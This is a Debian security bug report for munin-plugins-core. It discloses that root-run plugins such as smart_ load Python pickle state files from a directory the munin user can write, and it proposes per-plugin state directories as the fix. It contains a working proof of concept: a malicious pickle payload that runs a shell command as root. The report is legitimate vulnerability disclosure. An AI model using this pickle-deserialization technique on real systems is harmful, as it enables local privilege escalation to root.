Package: munin-plugins-core Version: 1.4.5-3 Severity: grave Tags: upstream security X-Debbugs-CC: hel...@subdivi.de
Hello, copying kenyon's report from http://www.munin-monitoring.org/ticket/1234 : Currently, plugins which run as root mix their state files in the same directory as non-root plugins. The state directory is owned by munin:munin and is group-writable. Because of these facts, it is possible for an attacker who operates as user munin to cause a root-run plugin to run arbitrary code as root. A proof-of-concept example is the smart_ plugin. It must run as root to access disk SMART data. It also stores state in Python pickle format, which can store executable Python code. Example follows: # su -s /bin/sh -c /bin/sh munin $ cd /var/lib/munin/plugin-state $ mv smart-sda.state smart-sda.state.orig $ cat bla.py import pickle import subprocess import sys class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh', '-c', 'id > /tmp/whoami'),)) pickle.dump(RunBinSh(), sys.stdout) $ python bla.py > smart-sda.state # wait for node to run smart_ plugin $ cat /tmp/whoami uid=0(root) gid=110(munin) groups=0(root),110(munin) A possible solution is to have a directory dedicated to each plugin, especially plugins which may run with superuser privileges, so that less-privileged users cannot modify their state files. This cannot be enforced by munin on all plugins, but this can be enforced by munin developers for plugins shipped with the munin package. We should consider making it easy for plugin writers to do this, maybe by making the perl/bourne shell/other language munin plugin API use a dedicated plugin state directory for each plugin. Otherwise, a plugin could be hardcoded to create and use a subdirectory of the existing plugin-state directory. Thanks to "cnu" on the munin IRC channel for raising this issue and providing the smart_ example. -- To UNSUBSCRIBE, email to debian-bugs-rc-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org